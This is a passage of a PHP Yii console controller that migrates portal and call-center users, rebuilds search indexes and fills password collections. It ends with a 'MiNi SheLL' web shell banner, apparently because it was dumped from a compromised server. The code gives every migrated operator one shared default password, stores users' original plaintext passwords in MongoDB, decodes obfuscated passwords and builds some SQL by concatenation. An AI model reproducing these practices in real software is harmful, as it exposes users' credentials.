            \frontend\models\IndexProducts::deleteIndex();
            \frontend\models\IndexTrainings::deleteIndex();
            
            \frontend\models\IndexAdvertisements::createIndex(); 
            \frontend\models\IndexArticles2::createIndex();
            \frontend\models\IndexAutocomplete::createIndex();
            \frontend\models\IndexBooks::createIndex();
            \frontend\models\IndexFairs::createIndex();
            \frontend\models\IndexPresentations::createIndex();
            \frontend\models\IndexProducts::createIndex();
            \frontend\models\IndexTrainings::createIndex();
        }
        
        if($flag) {
            foreach($dirsToClear as $dirToClear) {
                if(!file_exists($dirToClear)) {
                    continue;
                }
                $dir = new \DirectoryIterator($dirToClear);
                foreach($dir as $fileinfo) {
                    if($fileinfo->isFile() || $fileinfo->isLink()) {
                        @unlink($fileinfo->getPathName());
                    } 
                    elseif(!$fileinfo->isDot() && $fileinfo->isDir()) {
                        $this->removeDir($fileinfo->getPathName());
                    }
                }
                unset($dir, $fileinfo);
            }
        }
        
        var_dump($flag);
    }
    
    public function actionOperators() 
    {
//        exit;
        $leadersForPortals = [
            1 => [143, [143]],
            3 => [136, [136]],
            4 => [106, [106]],
            5 => [186, [186]],
            6 => [186, [186]],
            7 => [0, []],
            8 => [105, [162]],
            10 => [186, [186]],
            11 => [186, [186]],
            12 => [0, []],	
            13 => [133, [133]],
            14 => [133, [133]],
            15 => [133, [133]],
            16 => [143, [143]],
            17 => [94, [94]],
            18 => [0, []],	
            19 => [0, []],	
            20 => [0, []],	
            21 => [0, []],	
            22 => [0, []],	
            23 => [0, []],	
            24 => [94, [94]],
            26 => [0, []],	
            35 => [186, [186]],
            36 => [106, [106]],
            40 => [94, [94]],
            41 => [186, [186]],
            43 => [186, [186]],
            53 => [186, [186]],
            70 => [186, [186]],	
            71 => [186, [186]]
        ];
        
        $operators = [];
        
        $rows = Yii::$app->dbVcallcenter->createCommand('SELECT id_user, id_profile, first_name, surname, email, title, login, status FROM vcallcenter_users ORDER BY id_user ASC')->queryAll();
        $counterForNewId = 1;
        foreach($rows as $row) {
            $row = $this->convertDataLatin2ToUTF8($row);
            
            $idUser = intval($row['id_user']);
            if(in_array($idUser, [2, 89])) {
                continue;
            }
            
            if(empty($row['email'])) {
                $row['email'] = 'brak@vertica.pl';
            }
            if(empty($row['first_name'])) {
                $row['first_name'] = 'BRAK';
            }
            if(empty($row['surname'])) {
                $row['surname'] = 'BRAK';
            }
            
            $row['new_id_user'] = $counterForNewId;
            $counterForNewId++;
            
            $operators[$idUser] = $row;
//            echo $idUser.' => '.$row['new_id_user'].", \n";
        }
        unset($rows);
        
        $roles = [
            \common\models\types\UserProfile::MARKETER => Yii::$app->authManager->getRole(\common\models\types\UserProfile::MARKETER),
            \common\models\types\UserProfile::MODERATOR => Yii::$app->authManager->getRole(\common\models\types\UserProfile::MODERATOR),
            \common\models\types\UserProfile::ADMIN => Yii::$app->authManager->getRole(\common\models\types\UserProfile::ADMIN),
        ];
        
        $transaction = Yii::$app->db->beginTransaction();
        foreach($operators as $operator) {
            $modelUser = new \common\models\Users(['scenario' => 'create']);
            $modelUser->id_user = intval($operator['id_user']);
            $modelUser->login = 'vm_'.$operator['login'];
            $modelUser->forename = $operator['first_name'];
            $modelUser->surname = $operator['surname'];
            if(!empty($operator['title']) && strlen($operator['title']) > 4) {
                $modelUser->description = $operator['title'];
            }
            
            $modelUser->password = Yii::$app->getSecurity()->generatePasswordHash('ustaw_swoje_haslo');
            $modelUser->generateAuthKey();
            
            $oldProfile = intval($operator['id_profile']);
            switch($oldProfile) {
                case 7:
                    $modelUser->profile = \common\models\types\UserProfile::MARKETER;
                    break;
                case 15:
                    $modelUser->profile = \common\models\types\UserProfile::MODERATOR;
                    break;
                case 16:
                    $modelUser->profile = \common\models\types\UserProfile::ADMIN;
                    break;
                default:
                    $modelUser->profile = \common\models\types\UserProfile::MARKETER;
                    break;
            }
            
            $oldStatus = intval($operator['status']);
            switch($oldStatus) {
                case 0:
                    $modelUser->status = \common\models\types\Status::INACTIVE;
                    break;
                case 1:
                    $modelUser->status = \common\models\types\Status::ACTIVE;
                    break;
                case 2:
                    $modelUser->status = \common\models\types\Status::HIDDEN;
                    break;
            }
            
            if(!$modelUser->save()) {
                $transaction->rollBack();
                var_dump($modelUser->getErrors());
                exit;
            }
            
            $modelUserContactData = new \common\models\UsersContactData(['scenario' => 'create']);
            $modelUserContactData->id_user = $modelUser->id_user;
            $modelUserContactData->data_label = 'E-mail';
            $modelUserContactData->data_value = $operator['email'];
            $modelUserContactData->data_type = \common\models\types\ContactDataType::EMAIL;
            $modelUserContactData->data_order = 1;
            $modelUserContactData->required = 1;            
            $emailPurposes = [];
            foreach(\common\models\Emails::$purposesFields as $purposeField) {
                $emailPurposes[$purposeField] = 0;
            }
            $modelUserContactData->settings = ['purposes' => $emailPurposes];
            
            if(!$modelUserContactData->save()) {
                $transaction->rollBack();
                var_dump($modelUserContactData->getErrors());
                exit;
            }
            
            Yii::$app->authManager->assign($roles[$modelUser->profile], $modelUser->id_user);
            
            \common\models\Emails::refreshForUser($modelUser->id_user);
        }
        
        Yii::$app->db->createCommand("ALTER SEQUENCE users_id_user_seq RESTART WITH 1000")->execute();
        
        foreach($leadersForPortals as $idPortal => $leadersForPortal) {
            list($idLeader, $idsCarers) = $leadersForPortal;
            
            if(!empty($idLeader)) {
                $modelPortal = \common\models\Portals::findOne($idPortal);
                $modelPortal->id_user = $idLeader;
                if(!$modelPortal->save()) {
                    $transaction->rollBack();
                    var_dump($modelPortal->getErrors());
                    exit;
                }
            }
            
            if(!empty($idsCarers)) {
                foreach($idsCarers as $idCarer) {
                    $modelPortalHasOperator = new \common\models\PortalsHasOperators();
                    $modelPortalHasOperator->id_portal = $idPortal;
                    $modelPortalHasOperator->id_user = $idCarer;
                    if(!$modelPortalHasOperator->save()) {
                        $transaction->rollBack();
                        var_dump($modelPortal->getErrors());
                        exit;
                    }
                }
            }
        }
        
        $this->stdout('OK');
        $transaction->commit();
        
        return Controller::EXIT_CODE_NORMAL;
    }
    
    protected function removeDir($path) 
    {
        $dir = new \DirectoryIterator($path);
        foreach($dir as $fileinfo) {
            if($fileinfo->isFile() || $fileinfo->isLink()) {
                @unlink($fileinfo->getPathName());
            } 
            elseif(!$fileinfo->isDot() && $fileinfo->isDir()) {
                $this->removeDir($fileinfo->getPathName());
            }
        }
        unset($dir, $fileinfo);
        rmdir($path);
    }
    
    protected function convertDataLatin2ToUTF8($data)
    {
        if(is_string($data)) {
            $data = iconv('ISO-8859-2//IGNORE', 'UTF-8', $data);
            $data = trim($data);
        } elseif(is_array($data) && !empty($data)) {
            foreach($data as $key => $value) {
                if(is_string($value)) {
                    $data[$key] = iconv('ISO-8859-2//IGNORE', 'UTF-8', $value);
                    $data[$key] = trim($data[$key]);
                }
            }
        } 
        
        return $data;
    }
    
    public function actionFillUsersDuplicatedTable() 
    {        
        $transaction = Yii::$app->dbVortale->beginTransaction();
        
        $data = [];
        $loginsToBaseUsersMap = [];
        
        $portalsDomains = \common\models\Portals::find()->select(['domain'])->column();
        $portalsKeys = [];
        $whereParts = [];
        foreach($portalsDomains as $portalDomain) {
            $portalsKeys[] = substr($portalDomain, 0, strpos($portalDomain, "."));
        }        
        
        foreach($portalsKeys as $portalKey) {
            $whereParts[] = 'u.login LIKE \'%\_'.$portalKey.'\'';
        }        
        $sql = 'SELECT u.id_user, u.login FROM users u, pakiety_users pu WHERE u.id_user = pu.id_user AND u.status = 1 AND ('.implode(" OR ", $whereParts).')';
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();

        $baseLogins = [];
        $pregReplaceCondition = implode("|", $portalsKeys);
        $loginsBuiltOnlyFromPortalName = [];
        foreach($rows as $key => $row) {            
            $login = preg_replace('~_('.$pregReplaceCondition.')~i', '', $row['login'], 1);
            
            if($login !== null && $login !== $row['login']) {
                if(!empty($login)) {
                    $baseLogins[$login] = $login;
                } else {
                    $loginsBuiltOnlyFromPortalName[$row['login']]['login'] = $row['login'];
                    $loginsBuiltOnlyFromPortalName[$row['login']]['ids_owned_users'][] = intval($row['id_user']);
                    
                    unset($rows[$key]);
                }                
            } else {
                $this->stderr('Login: "'.$row['login'].'" was proccessed incorrect.');
                exit;
            }
        }
        
        $sql = 'SELECT u.id_user, u.login FROM users u, pakiety_users pu WHERE u.id_user = pu.id_user AND u.status = 1 AND u.login IN ('.implode(",", array_map(function($value) { return '"'.$value.'"'; }, $baseLogins)).')';
        $rows2 = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        foreach($rows2 as $row2) {
            $loginsToBaseUsersMap[$row2['login']][intval($row2['id_user'])] = intval($row2['id_user']);
        }
        
        $loginsNonExists = [];
        $loginsExistsMultpily = [];
        foreach($rows as $row) {
            $login = preg_replace('~_('.$pregReplaceCondition.')~i', '', $row['login'], 1);
            
            if($login === null || $login === $row['login']) {
                $this->stderr('Login: "'.$row['login'].'" was proccessed incorrect.');
                exit;
            } 
            
            if(!isset($loginsToBaseUsersMap[$login])) {
                $loginsNonExists[$login]['login'] = $login;
                $loginsNonExists[$login]['ids_related_users'][] = intval($row['id_user']);
            } elseif(count($loginsToBaseUsersMap[$login]) > 1) {
                $loginsExistsMultpily[$login]['login'] = $login;  
                $loginsExistsMultpily[$login]['ids_related_users'][] = intval($row['id_user']); 
                $loginsExistsMultpily[$login]['ids_owned_users'] = array_keys($loginsToBaseUsersMap[$login]);
            } else {
                $idUser = intval($row['id_user']);
                $idBaseUser = reset($loginsToBaseUsersMap[$login]);
                $data[] = [$idUser, $idBaseUser];
            }
        }
        
        echo 'Ilosc oczekiwanych loginow bazowych: '.count($baseLogins)."\n";
        echo 'Ilosc pobranych z bazy id_user-login: '.count($rows2)."\n";
        echo 'Ilosc unikalnych loginow bazowych pobranych z bazy: '.count($loginsToBaseUsersMap)."\n";
        
        var_dump('Ilosc brakujacych loginow: '.count(array_keys($loginsNonExists)));
        var_dump('Ilosc zduplikowanych loginow: '.count(array_keys($loginsExistsMultpily)));
        
        echo "\n";
        
//        if(!empty($loginsBuiltOnlyFromPortalName)) {
//            echo "\n";
//            echo 'LOGINY ZBUDOWANE TYLKO Z NAZWY PORTALU: '."\n";
//            echo '============================'."\n";
//            foreach($loginsBuiltOnlyFromPortalName as $loginBuiltOnlyFromPortalName) {
//                echo 'Login: '.$loginBuiltOnlyFromPortalName['login']."\n";
//                echo 'ID userow posiadajacyh ten login: '.implode(", ", $loginBuiltOnlyFromPortalName['ids_owned_users'])."\n";
//                echo '------------------------------'."\n";
//            }
//        }        
        
//        if(!empty($loginsExistsMultpily)) {
//            $duplicated = [];
//            echo "\n";
//            echo 'ZDUPLIKOWANE LOGINY: '."\n";
//            echo '============================'."\n";
//            foreach($loginsExistsMultpily as $loginExistsMultiply) {
//                $duplicated = array_merge($duplicated, $loginExistsMultiply['ids_owned_users']);
//                echo 'Login: '.$loginExistsMultiply['login']."\n";
//                echo 'ID userow posiadajacyh ten login: '.implode(", ", $loginExistsMultiply['ids_owned_users'])."\n";
//                if(!empty($loginExistsMultiply['ids_related_users'])) {
//                    echo 'ID userow oczekujacych na ten login: '.implode(", ", $loginExistsMultiply['ids_related_users'])."\n";
//                }
//                echo '------------------------------'."\n";
//            }
//            echo 'Wszystkie ID userow posiadajacyh login okreslany jako zduplikowany: '.implode(", ", $duplicated)."\n";
//        }
        
//        if(!empty($loginsNonExists)) {
//            $missing = [];
//            echo "\n";
//            echo 'BRAKUJACE LOGINY: '."\n";
//            echo '============================'."\n";
//            foreach($loginsNonExists as $loginNonExists) {
//                $missing = array_merge($missing, $loginNonExists['ids_related_users']);
//                echo 'Login: '.$loginNonExists['login']."\n";
//                if(!empty($loginNonExists['ids_related_users'])) {
//                    echo 'ID userow oczekujacych na ten login: '.implode(", ", $loginNonExists['ids_related_users'])."\n";
//                }
//                echo '------------------------------'."\n";
//            }
//            echo 'Wszystkie ID userow oczekujacych na brakujace loginy: '.implode(", ", $missing)."\n";
//        }
        
//        echo "\n";
//        echo 'DANE: '."\n";
//        echo '============================'."\n";
//        var_dump($data);
            
        $allIdsUsers = [];
        foreach($data as $ids) {
            $allIdsUsers[$ids[0]] = $ids[0];
            $allIdsUsers[$ids[1]] = $ids[1];
        }
        
        echo implode(",", array_keys($allIdsUsers)); exit;
//        if(!empty($data)) {                
//            Yii::$app->db->createCommand()->delete('users_duplicated')->execute();
//            
//            $flag = Yii::$app->dbVortale->createCommand()->batchInsert('users_duplicated', ['id_user', 'id_user_base'], $data)->execute();
//            if(!$flag) {
//                $this->stderr('FAIL');
//                $transaction->rollBack();
//            }
//        }
        
        $this->stdout('OK');
        $transaction->commit();        
        
        return Controller::EXIT_CODE_NORMAL;
    }
    
    public function actionFillVortaleUsersPasswords($limit, $offset)
    {
        $passwordsMap = [];
        
        $passwordsTemp = file(Yii::getAlias('@runtime/temp/vman_h.txt'), FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);        
        if(!empty($passwordsTemp)) {
            foreach($passwordsTemp as $passwordTemp) {
                $delimiterPosition = mb_strpos($passwordTemp, ";");
                $idUser = mb_substr($passwordTemp, 0, $delimiterPosition);
                $password = mb_substr($passwordTemp, $delimiterPosition+1);                
                $passwordsMap[(int)$idUser] = $password;
            }
            unset($passwordsTemp);
        }
        
        $usersPasswords = [];
        $query = new \yii\mongodb\Query();
        $documents = $query->from('vortale_users_passwords')->select(['_id', 'id_user', 'oryginal_password'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $usersPasswords[(int)$document['id_user']] = [
                    'oryginal_password' => (string)$document['oryginal_password'],
                    '_id' => (string)$document['_id']
                ];
            }
        }  
        
        if(!empty($limit)) {
            if(!empty($offset)) {
                $limitPart = 'LIMIT '.intval($offset).','.intval($limit);
            } else {
                $limitPart = 'LIMIT '.intval($limit);
            }
        } else {
            $limitPart = 'LIMIT 100';
        }
        
        $sql = 'SELECT id_user FROM users ORDER BY id_user '.$limitPart;
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        if(empty($rows)) {
            return Controller::EXIT_CODE_NORMAL;
        }
        
        foreach($rows as $row) {            
            $password = isset($passwordsMap[(int)$row['id_user']]) ? $passwordsMap[(int)$row['id_user']] : null;            
            if(
                (!empty($password) && isset($usersPasswords[(int)$row['id_user']]) && $usersPasswords[(int)$row['id_user']]['oryginal_password'] === $password) 
                || 
                (empty($password) && isset($usersPasswords[(int)$row['id_user']]))
            ) {
                continue;
            }
            
            echo 'ID user: '.$row['id_user'].': ';
            
            if(empty($password)) {
                $password = substr(str_shuffle('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!@#$%^&*()'),1,10);
                echo '(generuje haslo) ';
            }
            
            $cryptedPassword = Yii::$app->getSecurity()->generatePasswordHash($password);
            
            $authKey = Yii::$app->security->generateRandomString(64);

            $data = [
                'id_user' => (int)$row['id_user'], 
                'crypted_password' => $cryptedPassword, 
                'oryginal_password' => $password, 
                'auth_key' => $authKey
            ];
            
            if(!isset($usersPasswords[(int)$row['id_user']])) {
                Yii::$app->mongodb->getCollection('vortale_users_passwords')->save($data); 
            } elseif($usersPasswords[(int)$row['id_user']]['oryginal_password'] !== $password) {
                Yii::$app->mongodb->getCollection('vortale_users_passwords')->update(['_id' => $usersPasswords[(int)$row['id_user']]['_id']], $data); 
            }    
            
            echo 'zapisano'."\n";
        }        
        
        return Controller::EXIT_CODE_NORMAL;
    }
    
    public function actionFillVcallcenterUsersPasswords($limit, $offset)
    {        
        $usersPasswords = [];
        $query = new \yii\mongodb\Query();
        $documents = $query->from('vcallcenter_companies_passwords')->select(['_id', 'id_company'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $usersPasswords[(int)$document['id_company']] = (string)$document['_id'];
            }
        }  
        
        if(!empty($limit)) {
            if(!empty($offset)) {
                $limitPart = 'LIMIT '.intval($offset).','.intval($limit);
            } else {
                $limitPart = 'LIMIT '.intval($limit);
            }
        } else {
            $limitPart = 'LIMIT 100';
        }
        
        $sql = 'SELECT id_firma FROM vcallcenter_firmy ORDER BY id_firma '.$limitPart;
        $rows = Yii::$app->dbVcallcenter->createCommand($sql)->queryAll();
        if(empty($rows)) {
            return Controller::EXIT_CODE_NORMAL;
        }
        
        foreach($rows as $row) {          
            if(isset($usersPasswords[(int)$row['id_firma']])) {
                continue;
            }
            
            echo 'ID firmy: '.$row['id_firma'].': ';
            
            $password = substr(str_shuffle('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!@#$%^&*()'),1,10);
            
            $cryptedPassword = Yii::$app->getSecurity()->generatePasswordHash($password);
            
            $authKey = Yii::$app->security->generateRandomString(64);

            $data = [
                'id_company' => (int)$row['id_firma'], 
                'crypted_password' => $cryptedPassword, 
                'auth_key' => $authKey
            ];
            
            Yii::$app->mongodb->getCollection('vcallcenter_companies_passwords')->save($data);    
            
            echo 'zapisano'."\n";
        }        
        
        return Controller::EXIT_CODE_NORMAL;
    }
    
    public function actionFixVcallcenterContactsHistory()
    {
        exit;
        
        $operators = [];
        $sql = 'SELECT id_user, login FROM vcallcenter_users';
        $rows = Yii::$app->dbVcallcenter->createCommand($sql)->queryAll();
        foreach($rows as $row) {
            $row = $this->convertDataLatin2ToUTF8($row);
            $operators[intval($row['id_user'])] = $row['login'];
        }
        
        $sql = 'SELECT f.id_user AS id_operator, h.id_user, h.id_historia, h.uwagi FROM vcallcenter_historia h, vcallcenter_firmy f WHERE f.id_firma = h.id_firma';
        $rows = Yii::$app->dbVcallcenter->createCommand($sql)->queryAll();
        if(empty($rows)) {
            return Controller::EXIT_CODE_NORMAL;
        }
        
        $updatedCounter = 0;
        $ommitedCounter = 0;
        foreach($rows as $row) { 
            $row = $this->convertDataLatin2ToUTF8($row);
            if($row['id_user'] === $row['id_operator']) {
                continue;
            }
            
            if(!isset($operators[intval($row['id_operator'])]) || !isset($operators[intval($row['id_user'])])) {
//                $this->stderr('Operator: #"'.$row['id_operator'].'" not exists.');
//                exit;
                $ommitedCounter++;
                continue;
            }
            
            $annotations = 'Napisał(a) #'.$operators[intval($row['id_user'])].':<br><br>'.$row['uwagi'];
            $annotations = iconv('UTF-8//IGNORE', 'ISO-8859-2', $annotations);
//            echo 'atkualizacja: #'.$row['id_historia']."\r\n";
            $updatedCounter++;
            
            $sql = 'UPDATE vcallcenter_historia SET id_user = '.$row['id_operator'].', uwagi = "'.$annotations.'" WHERE id_historia = '.$row['id_historia'];
            Yii::$app->dbVcallcenter->createCommand()
                    ->update('vcallcenter_historia', ['id_user' => $row['id_operator'], 'uwagi' => $annotations], 'id_historia = '.$row['id_historia'])
                    ->execute();
        }
        echo "\r\n".'zaktualizowano: '.$updatedCounter."\r\n";
        echo "\r\n".'pominięto: '.$ommitedCounter."\r\n";
    }
    
    protected function decodePassword($string) 
    { 
        $string = substr($string, 3, strlen($string) - 3);
        $string = substr($string, 0, strlen($string) - 3);

        $newString = '';
        for ($i = 1; $i < strlen($string); $i += 2) {
            $newString .= substr($string, $i, 1);
        }

        $newString = strrev($newString); //@todo nie jestem pewien, czy ta funkcja wspiera UTF-8....

        return $newString;

    }
    
    protected function decodePassword2($string) 
    { 
        $string = mb_substr($string, 3, mb_strlen($string) - 3);
        $string = mb_substr($string, 0, mb_strlen($string) - 3);

        $newString = '';
        for ($i = 1; $i < mb_strlen($string); $i += 2) {
            $newString .= mb_substr($string, $i, 1);
        }

        $newString = utf8_strrev($newString);

        return $newString;

    }
    
    function utf8_strrev($str)
    {
        $ar = [];
        preg_match_all('/./us', $str, $ar);
        return join('', array_reverse($ar[0]));
    }
}


Creat By MiNi SheLL
Email: jattceo@gmail.com